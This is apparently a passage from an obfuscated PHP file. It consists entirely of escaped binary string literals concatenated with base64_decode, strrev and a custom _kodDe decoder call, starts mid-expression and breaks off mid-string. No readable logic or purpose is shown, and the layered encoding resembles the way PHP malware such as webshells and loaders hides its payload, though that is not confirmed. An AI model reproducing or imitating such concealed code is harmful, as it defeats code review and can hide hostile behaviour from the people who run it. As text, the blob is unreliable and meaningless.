~')."\321\360\122\66\25\160\240\37\74\255\307\236\124\103\207\267\307\236\214\207\266\26\375\326\140\113\176\364\313\14\222\211\315\352\51\335\341\316\346\260\367\146\214\34\204\373\364"."\223\50\206\120\23\15\140\10\155\270\217\317\302\51\162\325\251\172\334\126\254\202\371\227\32\45\65\246\45\234\150\216\107\232\302\140\53\316\47\152\42\141\211\300\56\0\101"."\23\361\205\374\233\337\2\53\363\177\240\324\60\144\256\125\134\35\121\3\31\63\137\52\30\244\261\112\25\66\65\252\362\341\155\203\134\323\121\252\360\266\207\0\132\6\55"."\275\32\174\107\232\330\242\126\57\251\366\325\371\352\153\25\160\216\100\163\200\113\4\245\12\114\226\171\76\127\45\276\264\53\124\357\253\253\125\252\212\3\125\320\56\61\256"."\250\365\51\232\322\126\124\137\15\64\130\156\256\110\213\310\243\355\130\252\156\70\266\222\361\161\20\317\217\176\135\156\16\62\1\221\203\316\23\112\341\205\51\241\316\26\167".base64_decode('SuodoauamAdmAnR85WmurlXSYIFfIZJkcw1Go2swaiYDnehq4/NNzesVevuKNks=')."\265\331\104\1\224\114\25\206\322\331\142\151\115\324\15\64\71\64\75\372\340\61\330\20\235\227\204\310\21\217\140\63\210\341\174\22\53\304\21\267\25\125\224\155\243\375\54"."\xd8\xbd\x8c\xd4\x81\xbb\x84\x8e\x25\xbc\xf\xc\x97\x15\xc6\x3f\x70\xa7\x17\xf8\x1e\x59\x38\xd9\xdc\x4e\xb1\x3c\x21\xa1\x79\x36\x3d\xd1\x85\xa8\x62\x38\x15\x17\x8a\x70\xde\x1f\xd2\xd1\xe5"."\202\11\302\276\44\135\244\263\65\26\357\240\367\247\22\315\355\341\216\120\0\210\70\305\4\232\36\63\107\112\243\122\215\51\37\5\125\273\206\237\124\304\206\54\111\152\105"."\xeb\x2a\xe5\x20\x4e\x87\x8e\x42\xb1\x17\x1a\x3\xb3\xaf\x90\xcb\xb3\x2a\xc9\xd2\x58\x4d\xef\xa9\x43\x91\xdc\x3b\x4b\x2c\x9e\x4c\xa1\x1\x0\xf2\x2c\x51\xdd\x6a\x69\xb7\x90\xc\x96\xf1\x35"."\240\41\306\264\347\20\223\143\62\165\110\66\315\234\270\240\302\161\231\315\261\316\326\10\273\52\326\2\42\161\61\153\272\22\265\304\43\370\42\64\324\257\260\242\244\13\172"."\50\40\254\20\120\240\70\234\345\337\342\106\60\216\340\173\76\12\210\55\37\5\370\146\203\123\111\336\146\160\375\211\116\376\55\270\123\24\300\26\161\202\372\56\152\341\337"."\355\374\202\47\216\210\305\245\100\50\36\352\110\360\140\174\21\277\201\300\141\364\46\102\252\263\273\103\120\374\150\150\41\102\226\230\140\120\30\265\256\11\114\232\137\333\103"."\x6f\x73\xd1\x4f\xfa\x73\x12\xb\xe1\x1b\x2e\xcb\x56\xd6\xfb\x94\x19\xab\x6b\x21\xd\xbb\xff\x94\x72\xfa\x74\x83\x31\x92\xb8\x96\x53\xa2\xa9\x68\xac\x8d\x86\x89\x17\x9c\xb0\x91\x15\x2\x84".base64_decode('slRBXG1ScLU227r4alAQDiv0iqjSGVsUEo5VpAiACD8rwdOW9gz3BBCzYC8Xt7M=')."\132\232\24\306\206\64\23\1\234\312\351\220\73\304\266\321\345\76\330\61\122\171\263\227\371\130\100\4\221\261\13\364\167\61\373\40\264\22\62\40\251\264\230\147\327\264\350"."\375\260\124\317\252\236\23\173\374\1\172\45\16\63\57\75\76\321\244\124\170\61\332\143\23\11\327\175\276\24\161\25\2\245\243\136\302\27\135\265\64\60\27\176\100\134\232"."\13\354\51\4\347\65\362\311\14\237\262\252\23\375\155\113\256\12\243\277\121\364\23\115\242\351\322\171\2\264\44\243\221\5\341\125\370\37\21\121\313\7\222\136\204\161\147"."\x88\x74\xae\x42\xff\x22\x2\xb3\x2a\xd2\xe9\x2d\xac\x29\x9c\x5c\x14\xe\xd3\x4\xec\x1b\x7e\x45\x52\x44\x70\xa0\xab\x92\x97\x24\x6c\xba\xe\xd1\xc2\x94\x1d\x8a\x4e\xa5\x6a\xc8\x60\xfa\x97"."\115\256\115\245\202\166\67\340\13\277\52\137\123\75\241\276\32\366\220\120\242\131\120\137\27\102\224\343\2\61\64\167\43\2\367\375\3\341\266\170\254\273\113\12\267\207\26".base64_decode('RjrbWCg4iX1NgqKVlkgCDVEzQ0bhkkgOA8NJ2CKZ63WhdAui7CggsexYGKCU2b0=').strrev(' .'."\0".'@,noracdL'."\n".'N3'."\n".'#')."\130\200\164\224\5\260\164\22\356\144\161\110\0\104\302\33\223\352\372\324\41\176\7\157\116\66\55\135\224\307\64\70\100\125\133\330\233\2\222\30\125\256\200\364\150\57\211"."\42\111\222\325\251\305\232\42\135\5\16\122\20\342\66\11\20\375\366\54\237\117\270\341\345\14\61\351\175\123\47\251\73\171\127\55\160\57\15\325\22\41\227\1\245\172\330"."\xb1\x9\x51\xdb\xa5\x4c\x49\x75\x4c\x36\x6a\x19\x20\x14\x45\x54\xcf\xc\x3a\x59\xa1\x6f\xc1\x96\x7a\x44\x5b\x4b\x83\x6e\x11\x8a\xd3\xa5\xe5\x5c\x32\x2\x8f\x6b\x3e\xf8\x85\x16\x1d\x40\x7f"."\172\40\310\364\14\160\201\243\332\7\233\54\263\366\167\273\176\353\351\251\32\157\264\40\1\33\63\10\126\321\40\313\245\363\75\57\323\207\35\56\244\234\2\323\123\23\341"."\114\150\204\251\126\131\204\133\342\261\56\312\201\50\221\126\205\336\352\127\252\251\36\272\32\130\253\346\170\30\257\16\232\212\305\325\124\273\64\110\363\252\25\270\342\133\353"."\xce\x15\xe9\x6c\x9\x2f\x56\xaa\xf5\xec\x48\x4a\x55\x53\x90\x59\x41\x6b\x91\x15\xa4\x94\x95\xc4\x4a\xa0\x6d\x85\x53\x1a\xbb\xcf\x1c\x56\x64\xf4\x62\xf2\x72\x33\x85\x25\x5\xca\x95\xb1\x66".base64_decode('5H4+u07pA6Gcx1COmEZFEmjDjkZJT1GUbmNG1qfwa/QYiIUPqpmEglgELYhGhRc=')."\47\343\41\14\44\334\347\176\373\242\77\204\240\140\351\310\52\20\37\17\51\312\263\5\226\203\222\140\271\213\105\244\314\43\146\22\1\203\310\226\47\365\211\307\20\115\1"."\35\146\131\217\260\0\270\156\32\352\212\107\72\102\361\45\60\144\102\6\200\25\150\346\135\67\115\105\100\267\273\245\273\316\235\250\325\362\335\147\72\307\234\302\42\171\226".strrev('Ȭć$@U'."\r".'L9;'."\n".'\\>ԢS+*Rꞡx'."\0".'XXQ').base64_decode('5SLhSg9vkniSGbVvDXVHZQgMlbIgvORb1ghraaU1wuKYOoavNuhPzXToH/VyUDM=')._kodDe('K7z4GJfJtgBuquFN/m74al6JJe41Lzqcf+csAnvHnjxRieH4GrR9q/y1UtxiPg1G')."\251\153\74\77\327\74\205\73\333\42\235\341\306\216\321\110\42\324\241\260\206\203\156\15\173\364\232\5\345\104\142\251\50\342\211\123\262\372\54\22\3\275\154\40\55\273\270"."\x48\x9\x4f\x19\x1\x55\x58\x2f\x3b\x56\x49\xf2\x16\x47\x2c\x99\xd1\xfc\x87\xc4\x85\x78\xae\x2a\x26\x71\xa5\x34\x4e\x2c\xed\x1a\xba\xd9\x80\xcf\x1\x30\x94\x72\x1f\x73\x18\xb6\x14\xd9\x55"."\151\360\242\347\65\63\226\301\302\122\231\37\134\60\3\151\104\256\12\256\14\335\322\315\165\65\53\231\45\53\254\146\162\242\142\270\75\276\241\15\61\237\302\116\44\220\274".base64_decode('l9JE+wuabfNzVSLdsE+nT9zglz3atTSxsSoZTkLLw9F3S5rYeIu7VHzgbMn2mxw=')."\122\210\361\246\316\6\75\31\241\244\10\357\270\224\112\0\243\302\205\35\76\37\20\145\56\143\62\272\350\344\12\275\350\75\20\60\314\56\315\52\350\344\340\143\221\270\130"."\xc2\xe3\xa5\xdc\xe4\xa6\x8e\xf9\x6d\x83\x5b\x32\x50\xd\x5d\x7c\x66\xfd\xf5\x2c\x31\x73\x52\x4a\x10\x46\xe1\x2\x2a\xbf\x2d\x81\xa6\x94\xe4\x95\xcc\xe9\x9\x93\x4\xc5\x5a\x70\x4\x79\xbc".base64_decode('p3GOaXaoxmjSXKgzM4SW2KLOaIx58mJu+2iodwXgPUK+AAs47MNSoeZFjG3H3IQ=')."\344\203\366\170\31\7\310\144\12\234\14\305\233\333\221\10\236\152\215\240\75\4\155\120\242\200\166\224\25\111\367\322\64\111\320\16\346\367\6\361\217\170\23\215\232\275\174"."\361\42\26\15\334\72\271\26\160\44\6\171\3\32\276\30\103\57\47\340\313\113\74\43\365\154\364\335\231\272\45\217\207\343\254\315\212\371\232\41\41\257\320\42\372\224\357"."\xae\x30\xae\x89\x6d\x11\x65\x23\xf7\x90\xbe\x33\x93\x70\xba\x49\x6a\x22\x99\x24\xba\xe5\xc9\x43\x10\x88\xde\xa2\x80\xb9\xee\x83\x68\xe1\xa8\x6\x11\xcb\xce\x58\xaa\x1d\xd1\xe3\x18\xdb\xb5".base64_decode('dTvpon8sF6xWBzEVmSC5jwky0Rxy4k3P3UDOWolIIP9ilgbgRknsliH6s6SQ9aM=')."\x86\x83\xdd\x42\x56\x73\xb8\xfb\x1a\xbc\xca\x42\x92\x73\x1d\xe9\x36\x6b\x81\x13\xa8\x61\xc9\x91\x9c\x3a\xa4\xe1\x6b\x47\x4c\xe3\x50\x66\xf0\x1\x5d\x29\xef\x1c\xf7\x57\xe4\x3e\x68\xc7\x27"."\105\211\130\167\234\35\147\340\60\271\330\30\17\67\57\341\47\13\34\332\32\132\350\205\340\65\220\14\265\125\4\163\345\20\206\23\51\54\25\217\141\55\132\70\332\352\311"."\x90\x68\xe7\x3e\xfd\xdc\xb0\x54\x34\xd2\xb9\xa0\x62\x4\xda\xcb\x3b\xa4\x2c\x14\x18\x49\x86\x3b\xbc\x30\x77\x9\x89\x30\x5e\xbf\x22\xdc\x14\x8d\x35\x4b\xd1\x91\x58\xf9\x48\x70\x66\x81\x3".base64_decode('qQ6OAoOn1fSsJGJEA5ImsquwsO5PIVl/fs/q2pqe4PzAJK5jovREugI5DthmdL8=').base64_decode('wQvAWwYD0mwQCgYCUAn/CPYEuc8kRkbBMWqCepdxtcLjrYFdlA54/Q5G6JFjKrE=')."\44\301\107\233\242\142\245\170\27\176\321\144\362\261\275\47\61\372\333\45\47\305\226\42\25\23\272\20\324\165\221\124\6\5\164\123\254\5\261\150\263\146\246\204\35\330\210"."\21\27\333\14\2\5\134\105\40\162\75\40\244\134\130\163\11\266\66\15\264\355\300\216\330\214\230\266\266\366\310\311\13\242\35\235\261\256\123\342\211\144\367\302\105\213\227"."\234\12\243\313\120\40\247\370\231\377\51\360\150\30\34\122\255\340\20\363\202\273\20\363\334\232\35\224\171\36\16\104\175\104\344\216\21\253\40\25\305\171\54\246\15\301\312"._kodDe('K6dEU6djtLrdxDxcWMZcuWdQfOTL+ODXNhHFDG6stklT/Q5h/YR4ISOzXOBxsIrk')."\x62\xf4\x94\x19\xaf\x6c\xda\xb3\xf9\x2\x40\xf8\x62\x97\xb6\x68\x1\x9c\xc2\x6c\xe2\x96\xf8\xb\xfe\x6c\x4f\xb2\xd\xbb\x25\xec\x39\x95\xcf\xb5\x6e\x49\xee\x1\x33\xa6\x91\xd5\xa5\x9b\xed".strrev('_3D׾jF?A%G ԥM68'."\0".'̥Xj')."\3\256\170\341\221\262\150\346\165\346\61\154\320\217\252\220\342\150\142\124\70\333\103\261\251\0\367\346\211\3\66\17\311\113\214\354\62\334\202\5\357\145\355\236\25\315\201"."\xdc\xd7\x68\x82\x74\xa2\x41\x99\x6\xce\x75\x5b\x11\xe3\x2b\x5d\x2c\x64\x2e\x51\x85\xdc\x88\x59\x27\xe2\x4f\x96\x6\x7d\x8a\xf0\xab\xcd\xd4\x95\x95\xf9\x3a\xac\x68\x92\x6e\x4a\x66\xe4\x8b"."\356\214\30\27\6\204\255\124\141\200\133\103\144\134\314\11\346\3\132\45\223\52\301\177\200\107\153\24\327\64\312\354\222\340\222\143\323\150\134\362\320\357\362\76\40\73\5"."\17\55\112\114\363\267\167\204\232\375\150\113\231\62\175\6\337\330\173\222\150\147\147\210\245\16\333\323\230\274\101\41\223\147\50\175\150\46\0\143\312\75\167\116\160\173\254"."\xa5\x40\xea\x91\x32\x63\x69\x59\x6c\x25\xc2\x38\x49\xa\xf5\x60\x12\x5\xa\x3a\x41\xc3\xd4\xd3\x19\xb3\xa3\xea\x53\x79\x83\x71\x37\x80\x56\x55\xa8\x77\x71\xc5\x7a\x17\x57\xaa\x77\xb1\xa7"."\xde\xc5\xe5\xf5\x52\x90\x7\x63\xd5\x62\xb1\xb9\xf\xe3\x82\x8b\x9a\xba\x40\x19\x39\xc0\x76\xb2\x1c\xb6\x89\x91\x6d\x69\x40\xb3\x49\xd\x64\x3\x28\xba\x85\x32\xd5\x59\x9e\xde\x16\x5f\x7c"."\125\344\244\365\342\52\56\0\44\77\313\66\116\233\21\261\274\152\73\13\135\16\161\276\323\277\54\366\332\320\301\305\40\316\273\6\115\333\16\142\47\173\204\143\347\226\140"."\261\4\73\273\161\367\211\276\53\41\111\335\340\366\213\73\77\345\256\121\205\377\124\252\162\247\337\141\356\310\4\11\36\241\136\354\214\2\321\71\30\225\360\110\321\264\65"."\xd9\x71\x6f\x56\x23\x4e\x1f\xf9\xad\x6f\xc9\xcb\x6d\x41\x1d\xc1\x94\x88\x19\xc8\x49\xfe\x6e\x99\xf7\x58\xd9\xe3\x1e\x1e\x30\x7f\xc1\xe5\x8b\x7b\xc4\x8f\xba\xee\xf1\x18\x6b\x6b\xda\x0\x13"."\60\45\41\204\53\5\272\270\47\130\157\167\60\51\20\104\321\342\136\202\351\151\255\277\42\300\57\371\121\240\324\100\362\32\215\332\5\105\343\146\302\372\355\43\143\303\24".strrev('-l9sR&ROGO[OnSǀVz6}K/5[J ')."\x31\x2f\xa0\x1f\x7e\x97\x44\xd8\x91\x8e\xeb\xd6\x17\xe\x25\x4e\xac\xe8\x15\x18\x22\x89\xd4\x11\x44\x29\xf0\xad\xf9\xe1\x14\xc7\x5c\xf2\x50\x43\x5\xdc\x3d\x5\xc3\x1\x7b\x73\xc2\xb2\xb4"."\x58\x92\xde\xa\x91\xf1\x5\x6f\xe3\xfc\x7d\x7\xac\x54\xa0\xce\x94\x19\xc9\x20\x4e\x8e\xc1\x61\x7a\x23\xeb\x11\x1a\x3a\xa3\xc9\xcc\xc2\x9e\xb8\xb2\xa\x61\x62\x55\x43\xd5\x84\x1a\xf4\x5b".base64_decode('W+WrwswpCeNZxADSjqqGCTXkoxbciqyAWxGSu1FxEg7qhPloaKXjm/lkNPDanxI=').strrev('/8*3Z;Fva@&JDD)#)^(0z')."\0\317\235\77\122\310\53\40\151\66\126\327\7\352\252\25\366\254\105\143\165\167\262\325\77\253\172\376\274\375\346\66\223\303\134\107\353\300\247\261\330\253\62\125\0\314\203"."\303\226\271\170\171\361\100\320\35\32\57\57\340\137\101\135\141\32\150\253\103\24\252\20\310\300\140\166\163\52\46\174\62\33\232\63\154\132\160\122\15\4\166\112\335\64\31"."\247\1\105\154\266\264\211\47\203\6\254\237\144\335\357\56\216\226\14\77\126\103\370\23\262\117\71\217\253\367\72\167\172\254\110\160\247\227\111\143\106\220\217\202\370\244\156"."\xfb\x1b\x14\xf9\x7d\x6\xc9\xe3\xad\x1f\xf3\x4\x74\x55\x32\x9d\x16\xc0\x30\xd5\x64\x20\x5d\xf6\x1f\xcc\xf0\x1a\x93\xc4\x94\x9b\x24\x9e\xe4\x69\x2f\x1e\x6a\x3f\x62\xba\x30\xfe\xa3\x45\x85"."\266\137\107\253\224\304\375\140\200\367\31\1\357\50\220\54\170\162\375\362\373\4\43\210\343\306\321\330\173\271\37\317\257\137\317\216\27\43\26\165\305\246\146\0\125\52\45"."\xe9\x2e\xe9\x59\x6f\x95\xc4\x38\xc0\x5f\x2a\xb1\xa\x2b\x16\x2a\xcb\x3\x2c\x1\xe9\x44\x84\x97\xe7\xe2\xcc\x55\x34\xd7\x9c\x19\xf7\x32\xf7\x92\xde\xb8\xdc\x31\x38\x5a\xbc\xca\x94\xa9\xd"."\323\147\243\377\201\74\62\333\206\122\221\31\43\243\117\346\70\374\370\140\216\321\1\361\202\0\353\33\236\160\311\305\272\13\54\206\221\257\160\106\100\134\351\104\153\135\157".base64_decode('U0BHqcwuuYInCm66krDFT4q71q9ASbPs5pxuwLYrPWjFJ6SXfVg8vSqWSDo/IHo=')."\222\306\166\327\200\341\3\250\241\246\140\263\310\226\53\151\223\63\175\45\143\240\121\212\124\34\323\124\12\252\61\12\322\300\104\273\141\242\75\7\127\324\70\61\60\55\147"."\243\0\320\153\356\57\25\357\43\302\173\36\165\30\3\61\124\235\37\300\157\132\4\360\46\25\57\111\117\352\270\57\74\244\320\336\344\71\64\226\37\360\352\312\227\370\43".base64_decode('B0XyDV3qina3RTolSyYJkGpu6UyFuroqRnAOB2sVsRlAoJ89yJNhaDhXL/QqGXw=')."\x7b\xa1\xb1\xa\x43\xab\x14\xdb\xca\x30\x37\xb3\x55\x41\x20\xbc\x24\x81\x10\xb8\xe6\xea\x90\xa5\x1a\x67\x51\x72\xa8\x4f\x7e\xf2\x45\xa3\xab\xe7\xcd\xd\xea\xf3\xf8\xec\x8\x7f\x3e\x96\x29"."\56\147\4\202\47\140\361\53\210\155\205\214\23\61\72\310\246\13\4\332\52\274\367\50\312\134\125\241\3\337\130\215\15\71\162\325\112\37\332\300\271\241\344\74\157\346\116".strrev('&tQXXfQԧ$Y+kks/M)xʨ74v')."\101\242\72\10\12\1\323\175\206\303\217\75\52\40\105\200\77\355\123\124\63\3\30\5\305\176\1\165\102\104\27\226\151\150\204\313\331\276\43\331\152\224\360\125\52\242\231"."\267\304\123\41\53\127\322\202\60\213\260\172\165\71\14\314\75\275\121\241\242\356\5\141\314\361\302\260\214\56\140\150\343\163\127\103\261\126\116\44\40\54\15\375\25\171\242".base64_decode('nW0iQJeWK3Ips6wmoZ6l1YFJq1cHdWYUxQw4WN4AT03DPQF3etQTGHqeEADelJQ=').base64_decode('4TwZFt9+wUni+hc3flKwRVRj47yl/CBoGYtjXKNeP4tN/4o+f3IR/2zuFHwxR3I=')._kodDe('KkM+OPYGs+9mkaW4M60Tl5RzHn57LTlSvBVqBnsxbdgRkZ9IEib4ytY/CFw2+4GC')."\55\227\74\21\370\165\104\2\36\102\324\23\261\151\375\136\70\52\213\3\371\307\134\73\143\351\105\307\105\247\350\43\164\125\344\21\222\176\165\110\245\111\252\24\20\350\33"."\253\210\57\366\52\104\227\150\14\20\4\321\224\271\230\0\51\226\226\157\254\42\315\265\373\64\15\345\47\44\246\122\45\50\143\225\302\250\143\101\345\43\146\71\46\332\51"."\371\375\35\170\376\247\73\16\167\42\102\235\160\20\4\74\330\11\247\321\337\11\47\360\375\0\277\105\225\327\54\152\370\115\250\16\71\32\314\11\45\30\274\106\324\25\217".base64_decode('JWPN7EGXStqyaYzhtemFMyEYses73D6CpeAsRBAgMP1WyTC4qRnmKfk+RwRoLQs=')."\x6b\x80\x1e\xb3\x25\xfa\x4a\x8e\xd8\x2f\xb1\xe3\xf6\x24\xbe\x49\x6b\x3\x58\xf2\xb4\x87\xfd\xfc\xa1\xcc\x4b\xa9\xe2\xb2\xb1\x8e\xdd\xc0\x60\xd6\x69\xe2\xfe\x15\x4b\x49\xe\x4b\x9\x55\x36".strrev(''."\r".'uu$Xԧ ~dVm U.nIO*z')."\32\101\264\275\60\27\356\30\264\364\31\315\202\4\303\232\6\15\202\15\241\240\33\45\306\175\55\155\306\27\260\24\334\264\145\214\341\140\355\107\323\100\334\5\62\362\61".base64_decode('R5IZ5yjkZBJCmncQ+JEvTCzbhzG9YN+ICUKjSgYF2stv6aFkAn3m0EuRjbxRYSM=')."\273\124\256\54\300\6\227\2\205\3\143\77\213\360\313\17\2\100\46\272\61\210\363\16\127\323\120\36\267\37\102\14\101\33\164\206\367\23\3\44\325\12\346\350\44\337\212".base64_decode('OCgfa5BofimOhPL81j0OdvKS6LsT9ElWGMMKmNxnDqfEHoyDJ/MQGVIsWzE0zEo=')."\x17\x17\xf1\xb8\x32\x6a\xcc\xd0\x8e\x19\x2c\x80\xfd\x3\xb9\x88\x3e\xa0\xe7\x5d\xd7\x6f\x53\x52\xd9\xf2\x68\xce\xc1\x9\xe5\x51\x42\x6b\x35\xc4\x1f\xd8\xa0\xd6\x85\xac\x7a\x5\x16\x1e\xf0".strrev('=j'."\0".'f 9<2i!dgЃQ x')."\112\5\170\243\74\171\102\131\351\231\105\133\270\34\154\346\376\116\145\77\204\324\0\100\62\23\261\301\251\272\70\361\147\145\14\111\2\121\240\150\231\275\150\166\154\271\257".strrev('#_?)3tRRUM={\'NHwU')."\x80\x25\xdb\x78\x10\xeb\x58\x77\x19\x58\x10\x72\x43\x78\xcb\xbe\x5\x57\x98\xc4\xed\xc0\xeb\x91\xb2\x6d\x20\x4d\x26\x68\x5\xd6\x86\xc8\x3a\x5b\xdd\x64\xe6\x23\x78\x34\xc4\x51\xae\x1b\x4e"."\x61\x54\xfe\x75\x9d\xfe\x24\x9\xb9\xc9\x6b\xec\xe1\x4a\x20\x48\x4\xef\x71\x1\xc4\xcc\xc6\x33\x80\x2\x57\x61\x75\x35\x36\xca\xd9\xdc\x71\xdb\xce\xb9\x94\x7d\xac\x63\xa9\xf0\x10\x72\xf5"."\235\254\327\306\303\227\222\125\23\170\321\265\363\267\25\53\40\235\33\261\312\60\210\154\332\270\200\6\116\220\244\20\22\263\30\47\226\145\355\35\54\151\214\173\224\250\227"."\342\10\332\5\224\46\331\147\231\16\227\54\160\174\50\53\121\344\250\314\73\44\151\26\377\74\121\217\353\30\114\162\121\314\223\242\335\206\325\256\262\35\210\330\164\21\327".strrev('^!^E2mg'."\r".'B <#;|ς0nȾz 㰒')."\x39\x18\x35\xb9\xb4\x8f\x8f\x5d\xb4\xa\x45\x60\x1f\x2c\x12\x8a\x63\x2c\x40\x72\x68\x49\xf6\xe8\x22\xb9\x86\x46\x21\xc9\x17\xb7\xc4\x8e\xf8\xeb\x15\xce\xc7\xa4\x68\xc9\x34\x30\x59\x8a\x20"."\351\53\261\64\36\45\225\164\261\200\210\331\211\122\232\237\25\170\30\15\166\127\101\221\367\161\166\371\0\27\100\234\153\340\36\330\162\34\52\26\273\201\25\75\223\263\220"."\72\313\262\320\70\274\225\12\27\25\162\214\215\344\62\74\124\343\307\124\250\212\104\111\43\232\341\216\172\140\164\304\40\101\304\250\306\114\373\374\365\123\374\123\101\25\55".base64_decode('X2RgbC7QLLQWJDTA3D6jg2CnB+lEGlM6cSFuK8S1fuKhg88nceXBQ5a0b2ncho8=')."\xf8\xb4\x90\xc9\x8a\x38\x18\xa7\xa6\x7d\x38\x41\x77\xa5\x78\x3a\x42\x38\xba\xc5\x65\xf9\xe8\x49\x80\x56\x86\x3b\x1e\xfc\x7d\x17\x5c\xf\x5c\x23\x3c\x70\x99\xcf\x78\xa\x1\x9f\xee\xb2\x1f"."\163\222\113\364\103\30\221\42\220\111\275\212\113\3\43\16\370\251\267\17\146\375\312\351\222\0\47\115\16\54\67\22\10\160\353\137\270\342\11\57\31\326\324\342\53\236\56"."\335\112\307\50\277\210\207\115\170\360\46\301\115\60\155\71\300\142\71\162\332\256\0\65\131\162\345\346\40\236\152\230\71\314\342\72\200\256\366\256\40\7\65\361\345\111\345"._kodDe('MM80llLHh3fznyX5dTRotHcQyI+7OVafEtcuCsMb19BlzYGCq7h3/HmxKiLYOWV9')."\x3f\xfd\x69\xc4\x54\xfa\xb3\x9c\xb7\xb6\x5\x17\x2d\x19\x6e\x49\x6f\xee\xb8\x8b\xa5\xf8\xa7\x59\x65\x25\x1a\xf8\x12\x46\xbe\x2c\xf\x56\xe4\x55\x48\x9d\x17\x7a\x2d\x29\x71\xd1\xd2\xca\xd3".strrev('?+!T.*1>. nk3XS} kBC)bkj')."\244\40\315\200\30\154\132\113\271\217\53\360\20\44\373\343\366\10\315\164\232\144\137\147\105\246\251\207\347\336\304\113\34\44\50\275\221\122\264\124\335\326\44\0\175\254\143".strrev('4U =#[gPOJUܓRh;ܖ'."\n".'N|"@m')."\352\275\131\176\360\216\325\131\366\16\314\167\276\50\343\23\107\5\51\342\42\206\75\133\145\22\26\33\170\102\12\213\304\122\104\251\227\22\125\40\231\315\32\55\312\207\113"."\301\154\220\17\61\375\300\336\333\302\114\151\214\3\202\1\306\311\241\64\134\35\25\201\220\100\206\265\57\214\125\146\206\211\210\36\300\70\273\16\127\75\157\343\170\355\66".base64_decode('XY9Jl9WBzb+gHKLfQSmXic6hEH++QWT1xlRoAIpWhAaDJ1AalTr6WhN3yK/MZRc=').base64_decode('a0UFxN9SuFB0XOJhu2ywLc0NBRCORogE2OzFLIyWAVxqiyhrF7eTw88RGDlTHj8=')."\102\170\261\365\75\175\112\215\312\241\76\304\323\153\116\371\353\52\64\373\377\111\106\32\231\220\254\7\335\205\224\67\310\366\156\151\202\275\302\17\307\364\231\303\356\367\324".strrev('49kځ)FmzH'."\n".''."\0".'^q6iT0').base64_decode('rMWtMwSgQxMiJcmFDRRU9l4neVWqhVFaeF/C/cQFByvuBzPEOyRi53O/1MDPGG0=')."\x81\xe2\xb6\xe3\x7a\x9\x24\x69\x26\xd5\x5e\x1f\xe5\xa7\x30\xad\x12\xa1\xa6\x51\xf9\x5b\xb6\xc8\x24\xbd\x40\x91\x4c\x5b\x93\xe5\xb3\x38\x4f\x4a\xc0\x9e\xe5\xca\xfa\xc8\x9b\x51\x94\x80\x79"."\x1f\xb0\x90\xd6\xf\xa7\x8a\x72\xee\xde\xbc\x99\x56\xf3\x71\x6a\xd4\xe4\xba\x81\x61\x21\x59\x88\x1b\x2a\xba\x92\x51\x50\x50\x2d\x16\xc7\x3d\xd2\x0\x1e\x87\x1e\x6f\x94\x8c\x8\x55\x15\xbb".strrev(''."\r".'8DeڰWF}?,ν*9\\idrz.j\\G 6k$').base64_decode('yMIQJFDmKmKCXYsMIwTiSH3kg6ximXn+FijHQ/cTJxRhyU+LluOSBA6LnVZ23yA=')."\216\351\275\257\145\261\152\370\323\137\76\332\63\361\240\43\175\350\313\307\37\365\362\121\367\171\76\170\312\313\47\56\247\175\333\53\51\342\321\125\367\113\255\270\315\334\210".base64_decode('r4yl93LzfKg8GeLegUua5To+ceZolAriFBcF3NJNWYelHpasvI+cuPqYUzPPcIg=')."\136\311\63\123\141\14\277\273\14\152\313\111\104\226\254\233\352\64\314\115\133\354\324\312\233\114\167\141\135\312\322\304\45\15\352\314\261\354\65\236\45\205\354\224\251\323\147".base64_decode('y6oBMT/i/Id5hKY/wAOIGVfc+KQwD5LyuiWRbjPb8jf3PBT4f4b5gvemSSWj1/I=')."\x97\x49\xcb\x46\x80\x20\xa1\x64\xe\x22\x6d\x48\x9e\xa3\x7c\x13\x9f\xb0\xdb\x62\xf9\xd0\x2d\x48\xbc\xb4\xe7\xae\x8b\x6e\xca\x15\xfa\x21\xed\x3b\x62\x25\xd0\xa7\xcf\xcc\x3c\x96\x50\xb\x58"."\313\352\130\252\133\34\253\44\165\220\221\140\42\216\116\236\15\326\274\155\47\3\3\272\10\21\55\211\45\162\211\216\351\125\244\340\354\170\137\42\172\274\230\301\274\115\343"."\x4b\xb7\x62\x4d\x49\x24\xe5\x7f\x30\x81\x4c\xf2\xa0\x42\x8a\x30\xe4\xa8\xd0\xf3\xe0\x49\x8c\x6e\x54\x78\xda\x4e\x3a\xd\xff\x96\x76\x53\x9e\x89\x4b\x59\x7e\xd5\xf1\x4b\x8\x29\x29\xdf\x34".base64_decode('J0YmGLgPIfS5++opHmUTZSzzKeMlKmecpBfwhLsliWXCudntvnFkZkac5Lf9nD4=')."\x21\x14\xd0\x15\xea\x5a\xad\x92\x5f\x56\xf9\xba\x13\x29\x48\x5e\x6\xe5\x45\x4b\x4f\xac\x9\x35\xa\xd1\xbb\x40\x27\x60\xd\x13\x2f\x92\xe4\x9a\x5b\xa8\x8d\x5f\x7d\x53\x25\xe3\x1b\x3c\x9e".base64_decode('0uuWpvztvlceY54wUX0uKQ2FWzwPoBI65H0VlQ0KWfyCrkl3KF0iAX/AyiUi2N4=')."\267\345\20\113\45\373\250\105\101\216\366\260\201\2\1\44\206\320\264\66\151\177\24\133\241\370\32\357\275\162\367\143\346\256\253\246\330\121\220\147\255\263\13\254\266\347\305"."\107\352\147\224\176\63\366\372\377\372\61\265\377\127\157\250\115\257\143\312\152\327\373\251\155\300\344\62\216\154\205\344\241\230\52\112\75\375\160\157\223\373\2\26\361\27\203".base64_decode('pTC39mTOopgPKZUdrqj5vPeksUwsKHtqEiHfAH8fsVLA7W84Jb8PXEEyZdym9Nw=')."\260\236\31\250\160\60\210\7\77\352\166\326\53\361\10\145\311\4\271\102\254\4\163\242\25\144\137\31\54\65\141\106\222\121\111\371\156\144\254\310\344\253\132\40\314\313\116"."\142\324\204\334\266\6\242\42\23\22\27\250\214\374\44\135\103\352\2\312\243\45\236\113\347\217\65\273\162\164\170\336\336\243\211\154\171\154\135\372\351\362\163\342\362\334\174"."\x19\xcb\x59\xb0\x8d\xac\x5b\x95\xc3\x1f\x43\xae\xf3\xbe\x8e\x5c\xef\x2f\xaf\x8c\x9a\xa8\x63\x6d\x42\x1c\xcb\xef\x4c\x23\x43\x8e\x30\xc8\x11\x63\x85\x3c\x14\xed\x12\x22\xcd\x38\x88\x5f\x79"."\xf9\xf1\x37\xf\x85\x7a\xa\x7f\xc9\xfd\x65\xcb\xb8\xcb\x32\x9\x3f\xe6\x86\x72\x9d\x86\x64\x6d\x28\xbd\xcc\x5b\xf6\xf2\xa6\xe7\x28\x0\x9\x47\xe2\x6c\x4c\x37\x89\xa7\x6e\xe8\x76\xa2\xbb"."\243\206\334\262\0\114\105\274\175\25